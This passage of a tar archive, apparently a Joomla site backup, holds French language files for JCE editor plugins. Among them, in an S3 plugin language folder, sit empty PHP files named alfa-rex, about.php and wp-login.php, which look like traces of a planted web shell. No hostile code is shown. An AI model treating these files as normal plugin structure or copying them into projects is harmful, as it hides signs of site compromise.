				label="PLG_USER_PROFILE_FIELD_TOS_LABEL"
				description="PLG_USER_PROFILE_FIELD_TOS_DESC"
				default="0"
				filter="integer"
				>
				<option value="1">PLG_USER_PROFILE_OPTION_AGREE</option>
				<option value="0">PLG_USER_PROFILE_OPTION_DO_NOT_AGREE</option>
			</field>
		</fieldset>
	</fields>
</form>
                                                                                                                                                                                                                                                 user/profile/profiles/index.html                                                                    0000705                 00000000037 15242051521 0012775 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 jce/editor-toc/language/fr-FR/plg_jce_editor-toc.sys.ini                                            0000644                 00000001134 15242051521 0017123 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_TOC="Table des matières pour JCE"
PLG_JCE_EDITOR_TOC_XML_DESC	="Plugin JCE permettant de créer une table des matières simple dans les contenus en utilisant les titres existants"

[toc]
WF_TOC_TITLE="Table des matières"
WF_TOC_HEADING_TITLE="Table des matières"
                                                                                                                                                                                                                                                                                                                                                                                                                                    jce/editor-toc/language/fr-FR/plg_jce_editor-toc.ini                                                0000644                 00000002404 15242051521 0016307 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_TOC="Table des matières pour JCE"
PLG_JCE_EDITOR_TOC_XML_DESC	="Plugin JCE permettant de créer une table des matières simple dans les contenus en utilisant les titres existants"
PLG_JCE_EDITOR_TOC_CLASSNAME="Classe du conteneur"
PLG_JCE_EDITOR_TOC_CLASSNAME_DESC="Nom(s) de classe alternatif(s) pour le conteneur de la table des matières. Séparez les noms de classe multiples par un espace."
PLG_JCE_EDITOR_TOC_HEADING_CLASSNAME="Classe de l'intitulé"
PLG_JCE_EDITOR_TOC_HEADING_CLASSNAME_DESC="Nom(s) de classe alternatif(s) pour l'intitulé de la table des matières. Séparez les noms de classe multiples par un espace."
PLG_JCE_EDITOR_TOC_DEPTH="Depth"
PLG_JCE_EDITOR_TOC_DEPTH_DESC="Définir la profondeur maximale jusqu'à laquelle les balises d'en-tête du contenu seront analysées pour créer la table des matières, par exemple : H1 - H3"

[toc]
WF_TOC_TITLE="Table des matières"
WF_TOC_HEADING_TITLE="Table des matières"
                                                                                                                                                                                                                                                            jce/editor_chatgpt/language/fr-FR/plg_jce_editor_chatgpt.ini                                        0000644                 00000014021 15242051521 0020163 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_CHATGPT="ChatGPT pour JCE"
PLG_JCE_EDITOR_CHATGPT_XML_DESC="Plugin permettant d'insérer du contenu issu de l'OpenAI ChatGPT au sein de l'éditeur JCE"

PLG_JCE_EDITOR_CHATGPT_APIKEY="API Key"
PLG_JCE_EDITOR_CHATGPT_APIKEY_DESC="Votre clé API OpenAI ChatGPT vous donne un accès exclusif à l'API ChatGPT. Cette clé vous est propre et vous permet d'interagir avec le modèle ChatGPT de manière programmatique. Vous pouvez gérer et créer des clés API dans les paramètres de votre compte OpenAI en visitant la section <a href='https://platform.openai.com/account/api-keys' target='_blank'>clés API</a>."

PLG_JCE_EDITOR_CHATGPT_TOKENS="Jetons"
PLG_JCE_EDITOR_CHATGPT_TOKENS_DESC="Se réfère au nombre de jetons dans une entrée de texte ou une réponse. Les jetons sont des morceaux de texte qui peuvent représenter des caractères ou des mots individuels."

PLG_JCE_EDITOR_CHATGPT_TEMPERATURE="Température"
PLG_JCE_EDITOR_CHATGPT_TEMPERATURE_DESC="Contrôle le caractère aléatoire de la sortie du modèle. Élevé (0.8-1.0) pour des réponses diverses et créatives. Faible (0.2-0.5) pour des résultats déterministes et ciblés."

PLG_JCE_EDITOR_CHATGPT_MODEL="Modèle"
PLG_JCE_EDITOR_CHATGPT_MODEL_DESC="<ul><li><strong>GPT-4-Turbo :</strong> Version améliorée du GPT-4, ce modèle associe des fonctionnalités sophistiquées à une rapidité et une efficacité accrues. Il permet de générer des textes rentables et de haute qualité à des taux de réponse proches du temps réel. Il est idéal pour les tâches de traitement linguistique exigeantes qui requièrent à la fois rapidité et profondeur.</li><li><strong>GPT-4 :</strong> Modèle linguistique avancé et puissant, GPT-4 excelle dans la génération de textes hautement cohérents et nuancés sur le plan contextuel. Idéal pour les tâches de génération de textes complexes et créatifs, il offre des performances supérieures et une compréhension approfondie d'un large éventail de sujets. Bien qu'il offre une qualité de premier ordre, il est plus coûteux et peut avoir des temps de réponse plus lents que les modèles plus petits. Parfait pour les applications exigeant un traitement linguistique de haut niveau.</li><li><strong>gpt-3.5-turbo :</strong> Un modèle linguistique avancé qui offre un équilibre entre les capacités, le coût et la vitesse. Il offre des performances similaires à celles du modèle text-davinci-003, mais à un prix inférieur par jeton, ce qui en fait un choix rentable pour diverses tâches de génération de texte. Les temps de réponse sont généralement plus rapides que ceux de text-davinci-003.</li><li><strong>text-davinci-003 :</strong> Le modèle avancé pour une génération de texte de haute qualité, semblable à celle d'un être humain. Idéal pour un large éventail d'applications conversationnelles. Offre d'excellentes performances, mais à un coût plus élevé et avec des temps de réponse légèrement plus lents. </li><li><strong>code-davinci-002 :</strong> Modèle spécialisé pour les questions relatives à la programmation et au code. Aide aux extraits de code, au débogage et à la programmation. Il comprend et génère du code. Coût plus élevé et temps de réponse légèrement plus lent en raison des capacités de programmation spécialisées. </li><li><strong>text-curie-001 :</strong> Modèle équilibré en termes de rentabilité et de performance. Génère des réponses cohérentes et adaptées au contexte sur différents sujets. Offre un bon compromis entre la capacité et le coût. Les temps de réponse sont modérés. </li><li><strong>text-babbage-001 :</strong> Modèle économique pour l'IA conversationnelle de base. Convient aux applications les plus simples. Génération de textes décents à moindre coût. Temps de réponse plus rapide que les modèles plus complets. </li><li><strong>text-ada-001 :</strong> Modèle axé sur le respect des instructions et du contexte. Donne de bons résultats lorsque des instructions précises sont essentielles pour obtenir des réponses exactes. Offre de bonnes performances pour un coût légèrement plus élevé et des temps de réponse modérés. </li></ul>"

PLG_JCE_EDITOR_CHATGPT_TEXTPATTERN_TEXT_PREFIX="Préfixe de modèle de texte"
PLG_JCE_EDITOR_CHATGPT_TEXTPATTERN_TEXT_PREFIX_DESC="Le préfixe de modèle de texte qui déclenche une requête ChatGPT sur Entrée en utilisant le texte qui le suit. La valeur par défaut est <em>:ai</em>"

PLG_JCE_EDITOR_CHATGPT_PROMPTS="Invites personnalisées"
PLG_JCE_EDITOR_CHATGPT_PROMPTS_NAME="Nom"
PLG_JCE_EDITOR_CHATGPT_PROMPTS_PROMPT="Invite"
PLG_JCE_EDITOR_CHATGPT_PROMPTS_SELECTION="Exiger une sélection"
PLG_JCE_EDITOR_CHATGPT_PROMPTS_DESC="Créez une invite personnalisée pour la sélection dans le menu du bouton ChatGPT. Définissez un nom pour identifier l'invite et la valeur de l'invite comme requête à envoyer à ChatGPT. Si 'Exiger une sélection' est activé, une sélection de contenu sera envoyée avec la requête d'invite."

PLG_JCE_EDITOR_CHATGPT_SPELLCHECK="Vérification orthographique"
PLG_JCE_EDITOR_CHATGPT_SPELLCHECK_DESC="Activer ou désactiver la vérification de l'orthographe dans ChatGPT. Lorsque cette option est activée, ChatGPT effectue une vérification du contenu de l'éditeur lorsque l'on clique sur le bouton 'Vérification orthographique'. Cette fonction remplace la fonction de vérification orthographique par défaut."

[chatgpt]
WF_CHATGPT_TITLE="ChatGPT"
WF_CHATGPT_DESC="ChatGPT"
WF_CHATGPT_PROMPT="Rapide"
WF_CHATGPT_RESPONSE="Réponse"
WF_CHATGPT_SEND="Envoyer une requête..."
WF_CHATGPT_SHOW_DIFFERENCES="Afficher les différences"
WF_CHATGPT_ACCEPT="Accepter"
WF_CHATGPT_REJECT="Rejeter"
WF_CHATGPT_ACCEPT_ALL="Tout accepter"
WF_CHATGPT_REJECT_ALL="Tout rejeter"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               jce/editor_chatgpt/language/fr-FR/plg_jce_editor_chatgpt.sys.ini                                    0000644                 00000000744 15242051521 0021007 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_CHATGPT="ChatGPT pour JCE"
PLG_JCE_EDITOR_CHATGPT_XML_DESC="Plugin permettant d'insérer du contenu issu de l'OpenAI ChatGPT au sein de l'éditeur JCE"                            jce/filesystem-server/language/fr-FR/plg_jce_filesystem-server.ini                                  0000644                 00000001626 15242051521 0021352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_FILESYSTEM_SERVER="Système de fichiers Serveur pour JCE"
PLG_JCE_FILESYSTEM_SERVER_XML_DESC="Plugin système permettant d'accéder et de gérer des fichiers en dehors du dossier racine de Joomla avec l'éditeur JCE"

PLG_JCE_FILESYSTEM_SERVER_BASE_DIR="Répertoire de base"
PLG_JCE_FILESYSTEM_SERVER_BASE_DIR_DESC="Le chemin absolu vers le répertoire de base contenant le dossier à parcourir, par exemple : /home/user1234/public_html/"
PLG_JCE_FILESYSTEM_SERVER_ROOT_URL="URL racine"
PLG_JCE_FILESYSTEM_SERVER_ROOT_URL_DESC="L'url absolue du site, par exemple : https://docs.site.com"                                                                                                          jce/filesystem-server/language/fr-FR/plg_jce_filesystem-server.sys.ini                              0000644                 00000001036 15242051521 0022162 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_FILESYSTEM_SERVER="Système de fichiers Serveur pour JCE"
PLG_JCE_FILESYSTEM_SERVER_XML_DESC="Plugin système permettant d'accéder et de gérer des fichiers en dehors du dossier racine de Joomla avec l'éditeur JCE"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  jce/filesystem-s3/language/fr-FR/alfa-rex.PhP7                                                      0000644                 00000000000 15242051521 0014675 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       jce/filesystem-s3/language/fr-FR/alfa-rex.php8                                                      0000644                 00000000000 15242051521 0014776 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       jce/filesystem-s3/language/fr-FR/alfa-rex.php56                                                     0000644                 00000000000 15242051521 0015061 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       jce/filesystem-s3/language/fr-FR/plg_jce_filesystem-s3.ini                                          0000644                 00000005053 15242051521 0017406 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8
PLG_JCE_FILESYSTEM_S3="Fichiers d'Amazon S3 pour JCE"
PLG_JCE_FILESYSTEM_S3_XML_DESC="Plugin permettant d'utiliser le système de fichiers Amazon S3 dans l'éditeur JCE. <em>Amazon S3 est une marque commerciale d'Amazon.com, Inc. ou de ses filiales</em>."

PLG_JCE_FILESYSTEM_S3_ACCESSKEY="Clé d'accès"
PLG_JCE_FILESYSTEM_S3_SECRETKEY="Clé secrète"
PLG_JCE_FILESYSTEM_S3_BUCKET="Nom Bucket"
PLG_JCE_FILESYSTEM_S3_CNAME="CName"
PLG_JCE_FILESYSTEM_S3_TIMEOUT="Délai d'attente"

PLG_JCE_FILESYSTEM_S3_ACCESSKEY_DESC="ID de Clé d'accès S3"
PLG_JCE_FILESYSTEM_S3_SECRETKEY_DESC ="Clé d'accès secrète S3"
PLG_JCE_FILESYSTEM_S3_BUCKET_DESC="Nom Bucket S3"
PLG_JCE_FILESYSTEM_S3_CNAME_DESC="Bucket CNAME (enregistrement du nom canonique)"
PLG_JCE_FILESYSTEM_S3_TIMEOUT_DESC="Délai d'authentification"
PLG_JCE_FILESYSTEM_S3_ENDPOINT="Point de terminaison"
PLG_JCE_FILESYSTEM_S3_ENDPOINT_DESC="Définir le point de terminaison, par exemple: s3-eu-west-1"
PLG_JCE_FILESYSTEM_S3_ACL="Niveau d'accès"
PLG_JCE_FILESYSTEM_S3_ACL_DESC="Sélectionnez le niveau d'accès à appliquer par défaut lors de la création de dossiers et du téléchargement de fichiers."
PLG_JCE_FILESYSTEM_S3_SSL="SSL activé"
PLG_JCE_FILESYSTEM_S3_SSL_DESC="Effectuer les opérations S3 à l'aide d'une connexion SSL."
PLG_JCE_FILESYSTEM_S3_ACL_PRIVATE="Privé"
PLG_JCE_FILESYSTEM_S3_ACL_PUBLIC_READ="Lecture publique"
PLG_JCE_FILESYSTEM_S3_ACL_PUBLIC_READ_WRITE="Lecture / écriture publique"
PLG_JCE_FILESYSTEM_S3_ACL_AUTHENTICATED_READ="Lecture authentifiée"

PLG_JCE_FILESYSTEM_S3_CREDENTIALS_PATH="Chemin du justificatif"
PLG_JCE_FILESYSTEM_S3_CREDENTIALS_PATH_DESC="Chemin d'accès au dossier contenant le fichier .aws/credentials ou .s3/credentials."

PLG_JCE_FILESYSTEM_S3_CREDENTIALS_PROFILE="Profil d'identification"
PLG_JCE_FILESYSTEM_S3_CREDENTIALS_PROFILE_DESC="Nom du profil d'informations d'identification à utiliser si les informations d'identification S3 sont stockées dans un fichier .aws ou .s3."

PLG_JCE_FILESYSTEM_S3_ENDPOINT_CUSTOM="Point de terminaison personnalisé"
PLG_JCE_FILESYSTEM_S3_ENDPOINT_CUSTOM_DESC="Définissez un point de terminaison personnalisé pour le service de stockage d'objets compatible S3, par exemple : s3-eu-west-1.amazonaws.com"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     jce/filesystem-s3/language/fr-FR/about.php                                                          0000644                 00000000000 15242051521 0014321 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       jce/filesystem-s3/language/fr-FR/wp-login.php                                                       0000644                 00000000000 15242051521 0014743 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       jce/filesystem-s3/language/fr-FR/alfa-rex.PHP                                                       0000644                 00000000000 15242051521 0014546 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       jce/filesystem-s3/language/fr-FR/index.php                                                          0000644                 00000000000 15242051521 0014316 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       jce/filesystem-s3/language/fr-FR/about.php7                                                         0000644                 00000000000 15242051521 0014410 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       jce/filesystem-s3/language/fr-FR/plg_jce_filesystem-s3.sys.ini                                      0000644                 00000001075 15242051521 0020223 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_FILESYSTEM_S3="Fichiers d'Amazon S3 pour JCE"
PLG_JCE_FILESYSTEM_S3_XML_DESC="Plugin permettant d'utiliser le système de fichiers Amazon S3 dans l'éditeur JCE. <em>Amazon S3 est une marque commerciale d'Amazon.com, Inc. ou de ses filiales</em>."                                                                                                                                                                                                                                                                                                                                                                                                                                                                   jce/editor-ipa/language/fr-FR/plg_jce_editor-ipa.sys.ini                                            0000644                 00000001020 15242051521 0017065 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_IPA="Alphabet phonétique international pour JCE"
PLG_JCE_EDITOR_IPA_XML_DESC	="Plugin permettant d'utiliser la carte de caractères de l'alphabet phonétique international avec l'éditeur JCE"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                jce/editor-ipa/language/fr-FR/plg_jce_editor-ipa.ini                                                0000644                 00000001113 15242051521 0016253 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_IPA="Alphabet phonétique international pour JCE"
PLG_JCE_EDITOR_IPA_XML_DESC="Plugin permettant d'utiliser la carte de caractères de l'alphabet phonétique international avec l'éditeur JCE"

[ipa]
WF_IPA_TITLE="Alphabet phonétique international"
                                                                                                                                                                                                                                                                                                                                                                                                                                                     jce/editor-svg/language/fr-FR/plg_jce_editor-svg.ini                                                0000644                 00000001273 15242051521 0016336 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_SVG="Graphiques SVG pour JCE"
PLG_JCE_EDITOR_SVG_TITLE="Graphiques SVG"
PLG_JCE_EDITOR_SVG_XML_DESC="Plugin activant la prise en charge des graphiques SVG dans l'éditeur JCE"
PLG_JCE_EDITOR_SVG_DESC="Activer la prise en charge des graphiques SVG dans l'éditeur JCE"
PLG_JCE_EDITOR_AMP_XML_DESC="Activer la prise en charge des éléments AMP dans l'éditeur JCE"                                                                                                                                                                                                                                                                                                                                     jce/editor-svg/language/fr-FR/plg_jce_editor-svg.sys.ini                                            0000644                 00000000717 15242051521 0017155 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_SVG="Graphiques SVG pour JCE"
PLG_JCE_EDITOR_SVG_XML_DESC="Plugin activant la prise en charge des graphiques SVG dans l'éditeur JCE"                                                 jce/popups-widgetkit2/language/fr-FR/plg_jce_popups-widgetkit2.ini                                  0000644                 00000002450 15242051521 0021170 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_POPUPS_WIDGETKIT2="Popup Lightbox WidgetKit2 de Yootheme pour JCE"
PLG_JCE_POPUPS_WIDGETKIT2_XML_DESC="Plugin permettant la prise en charge des Popup WidgetKit 2 de Yootheme avec JCE. Nécessite l'installation de Yootheme WidgetKit 2 - <a href='https://yootheme.com/widgetkit' title='Obtenir WidgetKit de Yootheme' target='_blank'><strong>Obtenir WidgetKit de Yootheme</strong></a>"

WF_POPUPS_WIDGETKIT2_TITLE="Lightbox WidgetKit2"
WF_POPUPS_WIDGETKIT_BOXTITLE="Titre"
WF_POPUPS_WIDGETKIT_BOXTITLE_DESC="Titre::Titre Lightbox"

WF_POPUPS_WIDGETKIT_GROUP="Groupe"
WF_POPUPS_WIDGETKIT_GROUP_DESC="Groupe::Lightbox groupe"

WF_POPUPS_WIDGETKIT_TYPE="Type de Popup"
WF_POPUPS_WIDGETKIT_TYPE_DESC="Type de Popup::Définir la fenêtre contextuelle"
WF_POPUPS_WIDGETKIT_DETECT="Détection à partir de l'URL"
WF_POPUPS_WIDGETKIT_IMAGE="Image"
WF_POPUPS_WIDGETKIT_VIDEO="Vidéo"
WF_POPUPS_WIDGETKIT_YOUTUBE="Youtube"
WF_POPUPS_WIDGETKIT_VIMEO="Vimeo"
WF_POPUPS_WIDGETKIT_IFRAME="IFrame"
                                                                                                                                                                                                                        jce/popups-widgetkit2/language/fr-FR/plg_jce_popups-widgetkit2.sys.ini                              0000644                 00000001316 15242051521 0022005 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_POPUPS_WIDGETKIT2="Popup Lightbox WidgetKit2 de Yootheme pour JCE"
PLG_JCE_POPUPS_WIDGETKIT2_XML_DESC="Plugin permettant la prise en charge des Popup WidgetKit 2 de Yootheme avec l'éditeur JCE. Nécessite l'installation de Yootheme WidgetKit 2 - <a href='https://yootheme.com/widgetkit' title='Obtenir WidgetKit de Yootheme' target='_blank'><strong>Obtenir WidgetKit de Yootheme</strong></a>"
                                                                                                                                                                                                                                                                                                                  jce/editor_codesample/language/fr-FR/plg_jce_editor_codesample.sys.ini                              0000644                 00000001036 15242051521 0022146 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_CODESAMPLE="Exemple de code pour JCE"
PLG_JCE_EDITOR_CODESAMPLE_TITLE="Exemple de code"
PLG_JCE_EDITOR_CODESAMPLE_DESC="Plugin permettant d'afficher des exemples de code dans les contenus avec l'éditeur JCE."
PLG_JCE_EDITOR_CODESAMPLE_XML_DESC="Plugin permettant d'afficher des exemples de code dans les contenus avec l'éditeur JCE"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  jce/editor_codesample/language/fr-FR/plg_jce_editor_codesample.ini                                  0000644                 00000002435 15242051521 0021335 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_CODESAMPLE="Exemple de code pour JCE"
PLG_JCE_EDITOR_CODESAMPLE_TITLE="Exemple de code"
PLG_JCE_EDITOR_CODESAMPLE_DESC="Plugin permettant d'afficher des exemples de code dans les contenus avec l'éditeur JCE."
PLG_JCE_EDITOR_CODESAMPLE_XML_DESC="Plugin permettant d'afficher des exemples de code dans les contenus avec l'éditeur JCE"

PLG_JCE_EDITOR_CODESAMPLE_LOAD_ASSETS="Charger Prism"
PLG_JCE_EDITOR_CODESAMPLE_LOAD_ASSETS_DESC="Charger le script et la feuille de style Prism en frontal du site."

PLG_JCE_EDITOR_CODESAMPLE_PRISM_URL="Script Prism personnalisé"
PLG_JCE_EDITOR_CODESAMPLE_PRISM_URL_DESC="Saisir l'URL du fichier script personnalisé de Prism."
PLG_JCE_EDITOR_CODESAMPLE_PRISM_CSS="CSS Prism personnalisé"
PLG_JCE_EDITOR_CODESAMPLE_PRISM_CSS_DESC="Saisir l'URL du fichier CSS personnalisé de Prism."
PLG_JCE_EDITOR_CODESAMPLE_LANGUAGES="Langages"
PLG_JCE_EDITOR_CODESAMPLE_LANGUAGES_DESC="Options de langages personnalisés pour CodeSample."                                                                                                                                                                                                                                   jce/editor_fontawesome/language/fr-FR/plg_jce_editor_fontawesome.ini                                0000644                 00000002256 15242051521 0021764 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_FONTAWESOME="Font Awesome pour JCE"
PLG_JCE_EDITOR_FONTAWESOME_TITLE="Font Awesome"
PLG_JCE_EDITOR_FONTAWESOME_DESC="Plugin permettant d'insérer des icones Font Awesome dans les contenus avec l'éditeur JCE."
PLG_JCE_EDITOR_FONTAWESOME_XML_DESC="Plugin permettant d'insérer des icones Font Awesome dans les contenus avec l'éditeur JCE"
PLG_JCE_EDITOR_FONTAWESOME_VERSION="Version de Font Awesome"
PLG_JCE_EDITOR_FONTAWESOME_VERSION_DESC="Version de Font Awesome à utiliser, correspondant à celle chargée en frontal du site."
PLG_JCE_EDITOR_FONTAWESOME_URL="URL du fichier CSS"
PLG_JCE_EDITOR_FONTAWESOME_URL_DESC="URL optionnelle du fichier css de Font Awesome à intégrer dans l'éditeur."
PLG_JCE_EDITOR_FONTAWESOME_LOAD_ASSETS="CSS en frontal"
PLG_JCE_EDITOR_FONTAWESOME_LOAD_ASSETS_DESC="Chargement du fichier CSS FontAwesome en frontal du site."                                                                                                                                                                                                                                                                                                                                                  jce/editor_fontawesome/language/fr-FR/plg_jce_editor_fontawesome.sys.ini                            0000644                 00000001236 15242051521 0022576 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_FONTAWESOME="Font Awesome pour JCE"
PLG_JCE_EDITOR_FONTAWESOME_TITLE="Font Awesome"
PLG_JCE_EDITOR_FONTAWESOME_DESC="Plugin permettant d'insérer des icones Font Awesome dans les contenus avec l'éditeur JCE."
PLG_JCE_EDITOR_FONTAWESOME_XML_DESC="Plugin permettant d'insérer des icones Font Awesome dans les contenus avec l'éditeur JCE"                                                                                                                                                                                                                                                                                                                                                                  jce/editor_aia/language/fr-FR/plg_jce_editor_aia.ini                                                0000644                 00000012406 15242051521 0016370 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_AIA="Aia de ChatGPT pour JCE"
PLG_JCE_EDITOR_AIA_XML_DESC="Plugin intégrant un assistant à l'insertion de contenu issu de l'OpenAI ChatGPT au sein de l'éditeur JCE"

PLG_JCE_EDITOR_AIA_APIKEY="API Key"
PLG_JCE_EDITOR_AIA_APIKEY_DESC="Votre clé API OpenAI vous accorde un accès exclusif à l'API OpenAI ChatGPT. Cette clé est unique et vous permet d'interagir avec le modèle ChatGPT par programmation. Vous pouvez gérer et créer des clés API dans les paramètres de votre compte OpenAI en visitant la <a href='https://platform.openai.com/account/api-keys' target='_blank'>section Clés API</a>.."

PLG_JCE_EDITOR_AIA_GPT_TOKENS="Tokens"
PLG_JCE_EDITOR_AIA_GPT_TOKENS_DESC="Fait référence au nombre de jetons dans une saisie de texte ou une réponse. Les jetons sont des morceaux de texte qui peuvent représenter des caractères ou des mots individuels."

PLG_JCE_EDITOR_AIA_GPT_TEMPERATURE="Température"
PLG_JCE_EDITOR_AIA_GPT_TEMPERATURE_DESC="Contrôle le caractère aléatoire de la sortie du modèle. Élevé (0.8-1.0) pour des réponses diverses et créatives. Faible (0.2-0.5) pour une sortie ciblée et déterministe."

PLG_JCE_EDITOR_AIA_GPT_MODEL="Modèle "
